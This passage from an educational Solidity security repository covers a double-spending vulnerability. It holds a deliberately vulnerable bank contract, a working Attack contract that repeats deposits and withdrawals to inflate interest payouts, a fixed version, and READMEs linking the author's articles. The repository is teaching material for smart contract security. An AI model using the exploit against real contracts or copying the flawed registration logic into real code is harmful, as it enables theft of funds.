); 47 | 48 | // Candidate #2: Eve 49 | candidates.push( 50 | CEOCandidate({name: "Eve", totalVoteAmount: 0}) 51 | ); 52 | } 53 | 54 | function vote(uint256 _candidateID) external noReentrant { 55 | require(block.timestamp < voteDeadline, "Vote is finished"); 56 | require(!userVotes[msg.sender].completed, "You have already voted"); 57 | require(_candidateID < candidates.length, "Invalid candidate id"); 58 | 59 | uint256 voteAmount = moonToken.getUserBalance(msg.sender); 60 | require(voteAmount > 0, "You have no privilege to vote"); 61 | 62 | userVotes[msg.sender] = UserVote({ 63 | candidateID: _candidateID, 64 | voteAmount: voteAmount, 65 | completed: true 66 | }); 67 | 68 | candidates[_candidateID].totalVoteAmount += voteAmount; 69 | } 70 | 71 | function getTotalCandidates() external view returns (uint256) { 72 | return candidates.length; 73 | } 74 | 75 | function getUserVote(address _user) external view returns (UserVote memory) { 76 | return userVotes[_user]; 77 | } 78 | 79 | function getCandidate(uint256 _candidateID) external view returns (CEOCandidate memory) { 80 | require(_candidateID < candidates.length, "Invalid candidate id"); 81 | return candidates[_candidateID]; 82 | } 83 | } -------------------------------------------------------------------------------- /12_amplification_attack__double_spending_01/README.md: -------------------------------------------------------------------------------- 1 | # 12. Amplification Attack (Double Spending #1) 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Amplification Attack (Double Spending #1)]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/) | -------------------------------------------------------------------------------- /13_double_spending_02/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | interface INaiveBank { 14 | function deposit() external payable; 15 | function withdraw(uint256 _withdrawAmount) external; 16 | } 17 | 18 | contract Attack { 19 | INaiveBank public immutable naiveBank; 20 | 21 | constructor(INaiveBank _naiveBank) { 22 | naiveBank = _naiveBank; 23 | } 24 | 25 | receive() external payable { 26 | } 27 | 28 | function attack(uint256 _xTimes) external payable { 29 | require(msg.value == 1 ether, "Require 1 Ether to attack"); 30 | 31 | for (uint256 i = 0; i < _xTimes - 1; i++) { 32 | // Do a double spending 33 | naiveBank.deposit{value: msg.value}(); 34 | naiveBank.withdraw(msg.value); 35 | } 36 | 37 | // Do a final deposit and wait for the BIG PROFIT!!! 38 | naiveBank.deposit{value: msg.value}(); 39 | } 40 | } -------------------------------------------------------------------------------- /13_double_spending_02/FixedNaiveBank.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | // This contract still has a denial-of-service issue, but it is not the scope of 14 | // this example though. Therefore, please do not use this contract code in production 15 | contract FixedNaiveBank { 16 | uint256 public constant INTEREST_RATE = 5; // 5% interest 17 | 18 | struct Account { 19 | bool registered; // FIX: Use the 'registered' attribute to keep track of every registered account 20 | uint256 balance; 21 | } 22 | 23 | mapping (address => Account) private userAccounts; 24 | address[] private userAddresses; 25 | 26 | address public immutable owner; 27 | 28 | constructor() { 29 | owner = msg.sender; 30 | } 31 | 32 | modifier onlyOwner() { 33 | require(owner == msg.sender, "You are not the owner"); 34 | _; 35 | } 36 | 37 | function depositBankFunds() external payable onlyOwner { 38 | require(msg.value > 0, "Require some funds"); 39 | } 40 | 41 | function deposit() external payable { 42 | require(msg.value > 0, "Require some funds"); 43 | 44 | // FIX: Use the 'registered' attribute to keep track of every registered account 45 | if (!userAccounts[msg.sender].registered) { 46 | // Register new user 47 | userAddresses.push(msg.sender); 48 | userAccounts[msg.sender].registered = true; 49 | } 50 | 51 | userAccounts[msg.sender].balance += msg.value; 52 | } 53 | 54 | function withdraw(uint256 _withdrawAmount) external { 55 | require(userAccounts[msg.sender].balance >= _withdrawAmount, "Insufficient balance"); 56 | userAccounts[msg.sender].balance -= _withdrawAmount; 57 | 58 | (bool success, ) = msg.sender.call{value: _withdrawAmount}(""); 59 | require(success, "Failed to send Ether"); 60 | } 61 | 62 | // There is a denial-of-service issue on the applyInterest() function, 63 | // but it is not the scope of this example though 64 | function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) { 65 | for (uint256 i = 0; i < userAddresses.length; i++) { 66 | address user = userAddresses[i]; 67 | uint256 balance = userAccounts[user].balance; 68 | 69 | // Update user's compound interest 70 | userAccounts[user].balance = balance * (100 + INTEREST_RATE) / 100; 71 | 72 | // Calculate the minimum bank balance required to pay for each user 73 | minBankBalanceRequired_ += userAccounts[user].balance; 74 | } 75 | } 76 | 77 | function getBankBalance() external view returns (uint256) { 78 | return address(this).balance; 79 | } 80 | 81 | function getUserBalance(address _user) external view returns (uint256) { 82 | return userAccounts[_user].balance; 83 | } 84 | } -------------------------------------------------------------------------------- /13_double_spending_02/InsecureNaiveBank.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | contract InsecureNaiveBank { 14 | uint256 public constant INTEREST_RATE = 5; // 5% interest 15 | 16 | mapping (address => uint256) private userBalances; 17 | address[] private userAddresses; 18 | 19 | address public immutable owner; 20 | 21 | constructor() { 22 | owner = msg.sender; 23 | } 24 | 25 | modifier onlyOwner() { 26 | require(owner == msg.sender, "You are not the owner"); 27 | _; 28 | } 29 | 30 | function depositBankFunds() external payable onlyOwner { 31 | require(msg.value > 0, "Require some funds"); 32 | } 33 | 34 | function deposit() external payable { 35 | require(msg.value > 0, "Require some funds"); 36 | 37 | // Register new user 38 | if (userBalances[msg.sender] == 0) { 39 | userAddresses.push(msg.sender); 40 | } 41 | 42 | userBalances[msg.sender] += msg.value; 43 | } 44 | 45 | function withdraw(uint256 _withdrawAmount) external { 46 | require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance"); 47 | userBalances[msg.sender] -= _withdrawAmount; 48 | 49 | (bool success, ) = msg.sender.call{value: _withdrawAmount}(""); 50 | require(success, "Failed to send Ether"); 51 | } 52 | 53 | // There is a denial-of-service issue on the applyInterest() function, 54 | // but it is not the scope of this example though 55 | function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) { 56 | for (uint256 i = 0; i < userAddresses.length; i++) { 57 | address user = userAddresses[i]; 58 | uint256 balance = userBalances[user]; 59 | 60 | // Update user's compound interest 61 | userBalances[user] = balance * (100 + INTEREST_RATE) / 100; 62 | 63 | // Calculate the minimum bank balance required to pay for each user 64 | minBankBalanceRequired_ += userBalances[user]; 65 | } 66 | } 67 | 68 | function getBankBalance() external view returns (uint256) { 69 | return address(this).balance; 70 | } 71 | 72 | function getUserBalance(address _user) external view returns (uint256) { 73 | return userBalances[_user]; 74 | } 75 | } -------------------------------------------------------------------------------- /13_double_spending_02/README.md: -------------------------------------------------------------------------------- 1 | # 13. Double Spending #2 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Double Spending #2]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/) | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) 4 | 5 | Permission is hereby granted, free of charge, to any person or organization obtaining a copy of the software and accompanying documentation covered by this license (the "Software") to use, reproduce, display, distribute, execute, and transmit the Software, and to prepare derivative works of the Software, and to permit third-parties to whom the Software is furnished to do so, all subject to the following: 6 | 7 | The copyright notices in the Software and this entire statement, including the above license grant, this restriction and the following disclaimer, must be included in all copies of the Software, in whole or in part, and all derivative works of the Software, unless such copies or derivative works are solely in the form of machine-executable object code generated by a source language processor. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Solidity Security By Example 2 | 3 | **Smart contract security** is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of examples regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public. 4 | 5 | ## Disclaimer 6 | 7 | The smart contracts in this repository are used to demonstrate vulnerability issues only. **Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this repository in your production.** 8 | 9 | Nonetheless, feel free to contact **[Valix Consulting](https://valix.io)** for your smart contract consulting and auditing services.🕵 10 | 11 | ## Vulnerability Issues 12 | 13 | | No. | Vulnerability Issue | Article Links | 14 | | --- | --- | --- | 15 | | 01 | [Integer Underflow](01_integer_underflow) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/) | 16 | | 02 | [Reentrancy](02_reentrancy) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/) | 17 | | 03 | [Reentrancy via Modifier](03_reentrancy_via_modifier) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/) | 18 | | 04 | [Cross-Function Reentrancy](04_cross_function_reentrancy) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/) | 19 | | 05 | [Cross-Contract Reentrancy](05_cross_contract_reentrancy) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/) | 20 | | 06 | [Integer Overflow](06_integer_overflow) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/) | 21 | | 07 | [Phishing With Improper Authorization](07_phishing_with_improper_authorization) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/) | 22 | | 08 | [Unexpected Ether With Forcibly Sending Ether](08_unexpected_ether_with_forcibly_sending_ether) | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/) | 23 | | 09 | [Denial of Service With Revert](09_denial_of_service_with_revert) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/) | 24 | | 10 | [Denial of Service With Gas Limit](10_denial_of_service_with_gas_limit) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/) | 25 | | 11 | [Denial of Service With Induction Variable Overflow](11_denial_of_service_with_induction_variable_overflow) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/) | 26 | | 12 | [Amplification Attack (Double Spending #1)](12_amplification_attack__double_spending_01) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/) | 27 | | 13 | [Double Spending #2](13_double_spending_02) | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-13-double-spending-2-609ba4402aca)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-13-double-spending-02/) | 28 | 29 | ## Copyright 30 | 31 | © 2022 - 2023 [serial-coder](https://www.serial-coder.com): Phuwanai Thummavet (mr.thummavet@gmail.com). All rights reserved. 32 | 33 | ## License 34 | 35 | SPDX-License-Identifier: [BSL-1.0 (Boost Software License 1.0)](https://opensource.org/licenses/BSL-1.0) --------------------------------------------------------------------------------